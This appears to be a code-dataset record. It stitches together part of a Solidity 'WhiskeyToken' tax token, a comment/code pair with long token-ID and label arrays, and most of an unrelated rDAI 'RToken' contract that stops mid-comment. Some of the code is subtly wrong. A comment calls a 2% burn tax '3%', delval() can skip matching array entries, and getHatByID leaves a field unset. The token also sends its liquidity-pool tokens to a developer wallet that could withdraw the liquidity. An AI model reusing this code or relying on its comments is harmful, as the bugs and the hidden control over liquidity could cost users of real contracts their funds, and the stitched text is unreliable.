* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Array256{
using Array256 for uint256[];
function del(uint256[] storage self, uint256 i) internal{
self[i] = self[self.length - 1];
self.pop();
}
function delval(uint256[] storage self, uint256 v) internal{
for(uint256 i=0; i<self.length; i++){
if(self[i] == v){
self.del(i);
}
}
}
}
library ArrayAddress{
using ArrayAddress for address[];
function del(address[] storage self, uint256 i) internal{
self[i] = self[self.length - 1];
self.pop();
}
function delval(address[] storage self, address v) internal{
for(uint256 i=0; i<self.length; i++){
if(self[i] == v){
self.del(i);
}
}
}
}
contract WhiskeyToken is Context, IERC20, Ownable{
// lib
using SafeMath for uint256; // more safe & secure uint256 operations
using Address for address; // more safe & secure address operations
using Array256 for uint256[]; // added functionality to arrays
// addresses
address public ADDRESS_PAIR; // address of the uniswap pair
address public ADDRESS_BURN = 0x000000000000000000000000000000000000dEaD; // burn baby, burn!
address public ADDRESS_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // address of the uniswap router
address public ADDRESS_ERC20_USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // address of the USDC coin on this blockchain
address public ADDRESS_MARKETING = 0x73f69A0c0FF3d2944871B4366a34F2B44AB60408; // marketing wallet addess
address public ADDRESS_DEVELOPER = 0xCa918b44a3678DE6Ee656D3B2ba3b273c85a6D8a; // developer wallet address
// interfaces
IUniswapV2Router02 private _router; // interface for uniswap router
IUniswapV2Pair private _pair; // interface for uniswap pair
ERC20 private ERC20_NATIVE; // interface for WNATIVE
ERC20 private ERC20_USDC; // interface for USDC
// taxes
uint16 public TAX_BUY_MARKETING = 60; // 6% taxes on buy for marketing
uint16 public TAX_BUY_DEV = 20; // 2% taxes on buy for developer
uint16 public TAX_BUY_BURN = 20; // 3% burn on buy
uint16 public TAX_SELL_MARKETING = 50; // 5% taxes on sell for marketing
uint16 public TAX_SELL_DEV = 30; // 3% taxes on sell for developer
uint16 public TAX_SELL_BURN = 20; // 2% burn on sell
// limits
uint16 public LIMIT_WALLET = 10; // 1% of (total supply - burn)
// tokenomics
string private _name = "Whiskey Token";
string private _symbol = "WHISKEY";
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000000 * (10**9);
// storage
bool private _tradingEnabled; // if trading is enabled
bool private _liquidityProvided; // if liquidity was provided
uint256 private _developerAllowance = 250000000 * (10**9); // the tokens the developer wallet is allowed to withdraw in total
mapping(address => uint256) private _balances; // stores all wealth of everyone
mapping(address => mapping (address => uint256)) private _allowances; // stores all allowances (who can spend how much)
mapping(address => bool) private _addressNoTaxes; // addresses that pay no taxes
mapping(address => bool) private _addressNoLimits; // addresses that have no limit
mapping(address => bool) private _addressAuthorized; // addresses that are authorized to call special functions
struct Taxes{
uint16 marketing;
uint16 dev;
uint16 burn;
uint256 totalMarketing;
uint256 totalDev;
uint256 totalBurn;
uint256 total;
bool buy;
bool sell;
}
// modifiers
modifier onlyAuthorized(){
require(_addressAuthorized[_msgSender()], "[whiskey token] only authorized wallets can call this function!");
_;
}
receive() external payable {}
constructor(){
// token creation and dinstribution
_balances[address(this)] = _totalSupply; // mint token and send all to this contract
// set interfaces
_router = IUniswapV2Router02(ADDRESS_ROUTER); // create uniswap router instance
ADDRESS_PAIR = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); // create uniswap pair
_pair = IUniswapV2Pair(ADDRESS_PAIR); // create pair instance
_approve(address(this), address(_router), 2**256 - 1); // approve uniswap pair
ERC20_NATIVE = ERC20(_router.WETH()); // native coin of blockchain
ERC20_USDC = ERC20(ADDRESS_ERC20_USDC); // USDC token on blockchain
// set no taxes
_addressNoTaxes[address(this)] = true;
_addressNoTaxes[ADDRESS_BURN] = true;
_addressNoTaxes[ADDRESS_MARKETING] = true;
_addressNoTaxes[ADDRESS_DEVELOPER] = true;
// set no limits
_addressNoLimits[address(this)] = true;
_addressNoLimits[ADDRESS_BURN] = true;
_addressNoLimits[ADDRESS_MARKETING] = true;
_addressNoLimits[ADDRESS_DEVELOPER] = true;
// set authorization
_addressAuthorized[_msgSender()] = true;
_addressAuthorized[ADDRESS_MARKETING] = true;
_addressAuthorized[ADDRESS_DEVELOPER] = true;
}
// owner
// ███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗
// ╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝
function addLiquidity() public onlyAuthorized{
_addLiquidity();
}
function enableTrading() public onlyAuthorized{
require(!_tradingEnabled, "[whiskey token] trading can only be enabled and not disabled!");
_tradingEnabled = true;
_addressAuthorized[_msgSender()] = false;
}
function withdraw(uint256 pTokens) public onlyAuthorized{
require(pTokens > 0, "[whiskey token] come on man, you can't withdraw zero tokens!");
require(_developerAllowance > 0, "[whiskey token] sorry no more development tokens available!");
require(pTokens <= _developerAllowance, "[whiskey token] greed is bad, you can't withdraw more than you are allowed to!");
_transactionTokens(address(this), ADDRESS_DEVELOPER, pTokens);
_developerAllowance = _developerAllowance.sub(pTokens);
}
// public
// ███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗
// ╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝
function name() public view returns(string memory) {
return(_name);
}
function symbol() public view returns(string memory) {
return(_symbol);
}
function decimals() public view returns(uint8){
return(_decimals);
}
function totalSupply() public view override returns(uint256){
return(_totalSupply);
}
function balanceOf(address account) public view override returns(uint256){
return(_balances[account]);
}
function allowance(address owner, address spender) public view override returns(uint256){
return(_allowances[owner][spender]);
}
function approve(address spender, uint256 amount) public override returns(bool){
_approve(_msgSender(), spender, amount);
return(true);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "[whiskey token] approve from the zero address");
require(spender != address(0), "[whiskey token] approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public returns(bool){
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return(true);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns(bool){
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "[whiskey token] decreased allowance below zero"));
return(true);
}
function transfer(address recipient, uint256 amount) public override returns(bool){
_transfer(_msgSender(), recipient, amount);
return(true);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns(bool){
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "[whiskey token] transfer amount exceeds allowance"));
return(true);
}
function burn() public view returns(uint256){
return(_balances[ADDRESS_BURN]);
}
function price() public view returns(uint256){
uint256 oneSingleNativeToken = 1 * (10**ERC20_NATIVE.decimals());
// get price native vs USDC
address[] memory pathUSDC = new address[](2);
pathUSDC[0] = _router.WETH(); // native address
pathUSDC[1] = ADDRESS_ERC20_USDC; // USDC currency address
uint256[] memory priceNativeToUSDC = _router.getAmountsOut(oneSingleNativeToken, pathUSDC);
// get price native vs token
address[] memory pathTOKEN = new address[](2);
pathTOKEN[0] = _router.WETH(); // native address
pathTOKEN[1] = address(this); // token address
uint256[] memory priceNativeToTOKEN = _router.getAmountsOut(oneSingleNativeToken, pathTOKEN);
// calculate USDC price and inflate by 10**18
uint256 tokenPrice = priceNativeToUSDC[1].mul(10**18).div(priceNativeToTOKEN[1]);
return(tokenPrice);
}
function liquidity() public view returns(uint256){
address token0 = _pair.token0();
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
if(address(this) == token0){
return(reserve0);
}else{
return(reserve1);
}
}
function marketcap() public view returns(uint256){
return(
((price()).mul((_totalSupply.sub(burn())))).div(10**18)
);
}
function supply() public view returns(uint256){
return(_totalSupply.sub(burn()));
}
// private
// ███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗███████╗
// ╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝
event TransferTaxes(uint16 marketing, uint16 dev, uint16 burn);
function _transfer(address pFrom, address pTo, uint256 pAmount) private{
if(_addressNoTaxes[pFrom] || _addressNoTaxes[pTo]){
// event
emit TransferTaxes(0, 0, 0);
_transactionTokens(pFrom, pTo, pAmount);
}else{
Taxes memory Tax;
uint256 circulatingSupply = supply();
uint256 limitWalletTokens = _percentage(circulatingSupply, LIMIT_WALLET);
if(pFrom == ADDRESS_PAIR){
require(_tradingEnabled, "[whiskey token] trading not enabled yet, stay tuned!");
if(!_addressNoLimits[pTo]){
require(pAmount <= limitWalletTokens && _balances[pTo].add(pAmount) <= limitWalletTokens, "[whiskey token] wallet limit reached, can't buy more tokens!");
}
// buy from LP
Tax.buy = true;
Tax.marketing = TAX_BUY_MARKETING;
Tax.dev = TAX_BUY_DEV;
Tax.burn = TAX_BUY_BURN;
// event
emit TransferTaxes(Tax.marketing, Tax.dev, Tax.burn);
}
if(pTo == ADDRESS_PAIR){
require(_tradingEnabled, "[whiskey token] trading not enabled yet, stay tuned!");
// sell to LP
Tax.sell = true;
Tax.marketing = TAX_SELL_MARKETING;
Tax.dev = TAX_SELL_DEV;
Tax.burn = TAX_SELL_BURN;
// event
emit TransferTaxes(Tax.marketing, Tax.dev, Tax.burn);
}
if(!Tax.buy && !Tax.sell){
if(!_addressNoLimits[pTo]){
require(pAmount <= limitWalletTokens && _balances[pTo].add(pAmount) <= limitWalletTokens, "[whiskey token] wallet limit reached, can't transfer more tokens!");
}
// transfer from wallet to wallet
Tax.marketing = 0;
Tax.dev = 0;
Tax.burn = 0;
// event
emit TransferTaxes(0, 0, 0);
}
if(Tax.marketing > 0){
Tax.totalMarketing = _percentage(pAmount, Tax.marketing);
Tax.total = Tax.total.add(Tax.totalMarketing);
_transactionTokens(pFrom, ADDRESS_MARKETING, Tax.totalMarketing);
}
if(Tax.dev > 0){
Tax.totalDev = _percentage(pAmount, Tax.dev);
Tax.total = Tax.total.add(Tax.totalDev);
_transactionTokens(pFrom, ADDRESS_DEVELOPER, Tax.totalDev);
}
if(Tax.burn > 0){
Tax.totalBurn = _percentage(pAmount, Tax.burn);
Tax.total = Tax.total.add(Tax.totalBurn);
_transactionTokens(pFrom, ADDRESS_BURN, Tax.totalBurn);
}
_transactionTokens(pFrom, pTo, pAmount.sub(Tax.total));
}
}
function _transactionTokens(address pFrom, address pTo, uint256 pAmount) private{
_balances[pFrom] = _balances[pFrom].sub(pAmount);
_balances[pTo] = _balances[pTo].add(pAmount);
emit Transfer(pFrom, pTo, pAmount);
}
function _percentage(uint256 pAmount, uint16 pPercent) private pure returns(uint256){
return(pAmount.mul(pPercent).div(10**3));
}
event TransferLiquidity(uint256 native, uint256 token);
function _addLiquidity() private{
require(!_liquidityProvided, "[whiskey token] liquidity can only be enabled once!");
uint256 balance = address(this).balance;
uint256 liquidityForUniswap = 750000000 * (10**9);
require(balance > 0 && _balances[address(this)] >= liquidityForUniswap, "[whiskey token] you do not have any coins or tokens to provide liquidity!");
// event
emit TransferLiquidity(balance, liquidityForUniswap);
_router.addLiquidityETH{value:balance}(
address(this),
liquidityForUniswap,
0,
0,
ADDRESS_DEVELOPER,
block.timestamp
);
_liquidityProvided = true;
renounceOwnership();
}
}
// Smart Contract created by ElevenCloud.eth – Open for inquiries | the tokens the developer wallet is allowed to withdraw in total
| uint256 private _developerAllowance = 250000000 * (10**9); | 10,730,512 | [
1,
5787,
2430,
326,
8751,
9230,
353,
2935,
358,
598,
9446,
316,
2078,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
3238,
389,
23669,
7009,
1359,
273,
6969,
17877,
380,
261,
2163,
636,
29,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* Because the use of ABIEncoderV2 , the pragma should be locked above 0.5.10 ,
* as there is a known bug in array storage:
* https://blog.ethereum.org/2019/06/25/solidity-storage-array-bugs/
*/
pragma solidity >=0.5.10 <0.6.0;
import {Ownable} from "./Ownable.sol";
import {SafeMath} from "./installed-contracts/openzeppelin-solidity/contracts/math/SafeMath.sol";
import {ReentrancyGuard} from "./ReentrancyGuard.sol";
import {IERC20, IRToken} from "./IRToken.sol";
import {IAllocationStrategy} from "./IAllocationStrategy.sol";
/**
* @notice RToken an ERC20 token that is 1:1 redeemable to its underlying ERC20 token.
*/
contract RToken is IRToken, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public constant SELF_HAT_ID = uint256(int256(-1));
uint32 constant PROPORTION_BASE = 0xFFFFFFFF;
// Events
event Mint(address recipient, uint256 amount);
event Redeem(address recipient, address redeemTo, uint256 redeemAmount);
event HatChanged(address owner, uint256 hatID);
//
// public structures
//
/**
* @notice Hat structure describes who are the recipients of the interest
*
* To be a valid hat structure:
* - at least one recipient
* - recipients.length == proportions.length
* - each value in proportions should be greater than 0
*/
/// @dev Current saving strategy
IAllocationStrategy private ias;
/// @dev Underlying token
IERC20 private token;
/// @dev Saving assets original amount
uint256 private savingAssetOrignalAmount;
/// @dev Saving asset original to internal amount conversion rate.
/// - It has 18 decimals
/// - It starts with value 1.
/// - Each strategy switching results a new conversion rate
uint256 private savingAssetConversionRate = 10 ** 18;
/// @dev Saving assets exchange rate with
/// @dev Approved token transfer amounts on behalf of others
mapping(address => mapping(address => uint256)) private transferAllowances;
/// @dev Hat list
Patron[] private hats;
/// @dev Account mapping
mapping (address => aAccount) private accounts;
/**
* @notice Create rToken linked with cToken at `cToken_`
*/
constructor(IAllocationStrategy allocationStrategy) public {
ias = allocationStrategy;
token = IERC20(ias.underlying());
}
//
// ERC20 Interface
//
/**
* @notice EIP-20 token name for this token
*/
string public name = "Redeemable DAI (rDAI ethberlin)";
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol = "rDAItest";
/**
* @notice EIP-20 token decimals for this token
*/
uint256 public decimals = 18;
/**
* @notice Total number of tokens in circulation
*/
uint256 public totalSupply;
/**
* @notice Returns the amount of tokens owned by `account`.
*/
function balanceOf(address owner) external view returns (uint256) {
return accounts[owner].rAmount;
}
/**
* @notice Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Moves `amount` tokens from the caller's account to `dst`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
* May also emit `InterestPaid` event.
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferInternal(msg.sender, msg.sender, dst, amount);
}
/// @dev IRToken.transferAll implementation
function transferAll(address dst) external nonReentrant returns (bool) {
address src = msg.sender;
payInterestInternal(src);
return transferInternal(src, src, dst, accounts[src].rAmount);
}
/// @dev IRToken.transferAllFrom implementation
function transferAllFrom(address src, address dst) external nonReentrant returns (bool) {
payInterestInternal(src);
payInterestInternal(dst);
return transferInternal(msg.sender, src, dst, accounts[src].rAmount);
}
/**
* @notice Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
return transferInternal(msg.sender, src, dst, amount);
}
//
// rToken interface
//
/// @dev IRToken.mint implementation
function mint(uint256 mintAmount) external nonReentrant returns (bool) {
mintInternal(mintAmount);
return true;
}
/// @dev IRToken.mintWithSelectedHat implementation
function mintWithSelectedHat(uint256 mintAmount, uint256 hatID) external nonReentrant returns (bool) {
require(hatID == SELF_HAT_ID || hatID < hats.length, "Invalid hat ID");
changeHatInternal(msg.sender, hatID);
mintInternal(mintAmount);
return true;
}
/**
* @dev IRToken.mintWithNewHat implementation
*/
function mintWithNewHat(
uint256 mintAmount,
string calldata title,
string calldata description,
string calldata link,
string calldata iconlink,
string calldata githublink,
address[] calldata recipients,
uint32[] calldata proportions
) external nonReentrant returns (bool) {
uint256 hatID = createHatInternal(msg.sender, title, description, link, iconlink, githublink, recipients, proportions);
changeHatInternal(msg.sender, hatID);
mintInternal(mintAmount);
return true;
}
/**
* @dev IRToken.redeem implementation
* It withdraws equal amount of initially supplied underlying assets
*/
function redeem(uint256 redeemTokens) external nonReentrant returns (bool) {
address src = msg.sender;
payInterestInternal(src);
redeemInternal(src, redeemTokens);
return true;
}
/// @dev IRToken.redeemAll implementation
function redeemAll() external nonReentrant returns (bool) {
address src = msg.sender;
payInterestInternal(src);
redeemInternal(src, accounts[src].rAmount);
return true;
}
/// @dev IRToken.redeemAndTransfer implementation
function redeemAndTransfer(address redeemTo, uint256 redeemTokens) external nonReentrant returns (bool) {
address src = msg.sender;
payInterestInternal(src);
redeemInternal(redeemTo, redeemTokens);
return true;
}
/// @dev IRToken.redeemAndTransferAll implementation
function redeemAndTransferAll(address redeemTo) external nonReentrant returns (bool) {
address src = msg.sender;
payInterestInternal(src);
redeemInternal(redeemTo, accounts[src].rAmount);
return true;
}
/// @dev IRToken.createHat implementation
function createHat(
string calldata title,
string calldata description,
string calldata link,
string calldata iconlink,
string calldata githublink,
address[] calldata recipients,
uint32[] calldata proportions) external nonReentrant returns (uint256 hatID) {
hatID = createHatInternal(msg.sender, title, description, link, iconlink, githublink, recipients, proportions);
}
/// @dev IRToken.changeHat implementation
function changeHat(uint256 hatID) external returns (bool change) {
changeHatInternal(msg.sender, hatID);
return true;
}
/// @dev IRToken.getMaximumHatID implementation
function getMaximumHatID() external view returns (uint256 hatID) {
return hats.length - 1;
}
/// @dev IRToken.getHatByAddress implementation
function getHatByAddress(address owner) external view returns (
uint256 hatID) {
hatID = accounts[owner].hatID;
return hatID;
}
/// @dev IRToken.getHatByID implementation
function getHatByID(uint256 hatID) external view returns (
address owner,
string memory title,
string memory description,
string memory link,
string memory iconlink,
string memory githublink,
address[] memory recipients,
uint32[] memory proportions) {
if (hatID != 0 && hatID != SELF_HAT_ID) {
Patron memory hat = hats[hatID];
owner = hat.owner;
title = hat.title;
description = hat.description;
link = hat.link;
iconlink = hat.iconlink;
githublink = hat.githublink;
recipients = hat.recipients;
proportions = hat.proportions;
} else {
owner = address(0);
title = "";
link = "";
iconlink = "";
githublink = "";
recipients = new address[](0);
proportions = new uint32[](0);
}
}
/// @dev IRToken.receivedSavingsOf implementation
function receivedSavingsOf(address owner) external view returns (uint256 amount) {
aAccount storage account = accounts[owner];
uint256 rGross = account.sInternalAmount
.mul(ias.exchangeRateStored())
.div(savingAssetConversionRate); // the 1e18 decimals should be cancelled out
return rGross;
}
/// @dev IRToken.receivedLoanOf implementation
function receivedLoanOf(address owner) external view returns (uint256 amount) {
aAccount storage account = accounts[owner];
return account.lDebt;
}
/// @dev IRToken.interestPayableOf implementation
function interestPayableOf(address owner) external view returns (uint256 amount) {
aAccount storage account = accounts[owner];
return getInterestPayableOf(account);
}
/// @dev IRToken.payInterest implementation
function payInterest(address owner) external nonReentrant returns (bool) {
payInterestInternal(owner);
return true;
}
/// @dev IRToken.getCurrentSavingStrategy implementation
function getCurrentSavingStrategy() external view returns (address) {
return address(ias);
}
/// @dev IRToken.getSavingAssetBalance implementation
function getSavingAssetBalance() external view
returns (uint256 nAmount, uint256 sAmount) {
sAmount = savingAssetOrignalAmount;
nAmount = sAmount
.mul(ias.exchangeRateStored())
.div(10 ** 18);
}
/// @dev IRToken.changeAllocationStrategy implementation
function changeAllocationStrategy(IAllocationStrategy allocationStrategy) external nonReentrant onlyOwner {
require(allocationStrategy.underlying() == address(token), "New strategy should have the same underlying asset");
IAllocationStrategy oldIas = ias;
ias = allocationStrategy;
// redeem everything from the old strategy
uint256 sOriginalBurned = oldIas.redeemUnderlying(totalSupply);
// invest everything into the new strategy
token.transferFrom(msg.sender, address(this), totalSupply);
token.approve(address(ias), totalSupply);
uint256 sOriginalCreated = ias.investUnderlying(totalSupply);
// calculate new saving asset conversion rate
// if new original saving asset is 2x in amount
// then the conversion of internal amount should be also 2x
savingAssetConversionRate = sOriginalCreated
.mul(10 ** 18)
.div(sOriginalBurned);
}
/**
* @dev Transfer `tokens` tokens from `src` to `dst` by `spender`
Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferInternal(address spender, address src, address dst, uint256 tokens) internal returns (bool) {
require(src != dst, "src should not equal dst");
// pay the interest before doing the transfer
payInterestInternal(src);
require(accounts[src].rAmount >= tokens, "Not enough balance to transfer");
/* Get the allowance, infinite for the account owner */
uint256 startingAllowance = 0;
if (spender == src) {
startingAllowance = uint256(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
require(startingAllowance >= tokens, "Not enough allowance for transfer");
/* Do the calculations, checking for {under,over}flow */
uint256 allowanceNew = startingAllowance.sub(tokens);
uint256 srcTokensNew = accounts[src].rAmount.sub(tokens);
uint256 dstTokensNew = accounts[dst].rAmount.add(tokens);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// apply hat inheritance rule
if (accounts[src].hatID != 0 && accounts[dst].hatID == 0) {
changeHatInternal(dst, accounts[src].hatID);
}
accounts[src].rAmount = srcTokensNew;
accounts[dst].rAmount = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint256(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
// lRecipients adjustments
uint256 sInternalAmountCollected = estimateAndRecollectLoans(src, tokens);
distributeLoans(dst, tokens, sInternalAmountCollected);
// rInterest adjustment for src
if (accounts[src].rInterest > accounts[src].rAmount) {
accounts[src].rInterest = accounts[src].rAmount;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
return true;
}
/**
* @dev Sender supplies assets into the market and receives rTokens in exchange
* @dev Invest into underlying assets immediately
* @param mintAmount The amount of the underlying asset to supply
*/
function mintInternal(uint256 mintAmount) internal {
require(token.allowance(msg.sender, address(this)) >= mintAmount, "Not enough allowance");
aAccount storage account = accounts[msg.sender];
// create saving assets
token.transferFrom(msg.sender, address(this), mintAmount);
token.approve(address(ias), mintAmount);
uint256 sOriginalCreated = ias.investUnderlying(mintAmount);
// update global and account r balances
totalSupply = totalSupply.add(mintAmount);
account.rAmount = account.rAmount.add(mintAmount);
// update global stats
savingAssetOrignalAmount += sOriginalCreated;
// distribute saving assets as loans to recipients
uint256 sInternalCreated = sOriginalCreated
.mul(savingAssetConversionRate)
.div(10 ** 18);
distributeLoans(msg.sender, mintAmount, sInternalCreated);
emit Mint(msg.sender, mintAmount);
emit Transfer(address(this), msg.sender, mintAmount);
}
/**
* @notice Sender redeems rTokens in exchange for the underlying asset
* @dev Withdraw equal amount of initially supplied underlying assets
* @param redeemTo Destination address to send the redeemed tokens to
* @param redeemAmount The number of rTokens to redeem into underlying
*/
function redeemInternal(address redeemTo, uint256 redeemAmount) internal {
aAccount storage account = accounts[msg.sender];
require(redeemAmount > 0, "Redeem amount cannot be zero");
require(redeemAmount <= account.rAmount, "Not enough balance to redeem");
uint256 sOriginalBurned = redeemAndRecollectLoans(msg.sender, redeemAmount);
// update Account r balances and global statistics
account.rAmount = account.rAmount.sub(redeemAmount);
if (account.rInterest > account.rAmount) {
account.rInterest = account.rAmount;
}
totalSupply = totalSupply.sub(redeemAmount);
// update global stats
if (savingAssetOrignalAmount > sOriginalBurned) {
savingAssetOrignalAmount -= sOriginalBurned;
} else {
savingAssetOrignalAmount = 0;
}
// transfer the token back
token.transfer(redeemTo, redeemAmount);
emit Transfer(msg.sender, address(this), redeemAmount);
emit Redeem(msg.sender, redeemTo, redeemAmount);
}
/**
* @dev Create a new Hat
* @param recipients List of beneficial recipients
* @param proportions Relative proportions of benefits received by the recipients
*/
function createHatInternal(
address owner,
string memory title,
string memory description,
string memory link,
string memory iconlink,
string memory githublink,
address[] memory recipients,
uint32[] memory proportions
) internal returns (uint256 hatID) {
hatID = hats.push(Patron(
owner, title, description, link, iconlink, githublink, recipients, proportions
)) - 1;
emit HatCreated(hatID);
}
/**
* @dev Change the hat for `owner`
* @param owner Account owner
* @param hatID The id of the Hat
*/
function changeHatInternal(address owner, uint256 hatID) internal {
aAccount storage account = accounts[owner];
if (account.rAmount > 0) {
uint256 sInternalAmountCollected = estimateAndRecollectLoans(owner, account.rAmount);
account.hatID = hatID;
distributeLoans(owner, account.rAmount, sInternalAmountCollected);
} else {
account.hatID = hatID;
}
emit HatChanged(owner, hatID);
}
/**
* @dev Get interest payable of the account
*/
function getInterestPayableOf(aAccount storage account) internal view returns (uint256) {
uint256 rGross = account.sInternalAmount
.mul(ias.exchangeRateStored())
.div(savingAssetConversionRate); // the 1e18 decimals should be cancelled out
if (rGross > (account.lDebt + account.rInterest)) {
return rGross - account.lDebt - account.rInterest;
} else {
// no interest accumulated yet or even negative interest rate!?
return 0;
}
}
/**
* @dev Distribute the incoming tokens to the recipients as loans.
* The tokens are immediately invested into the saving strategy and
* add to the sAmount of the recipient account.
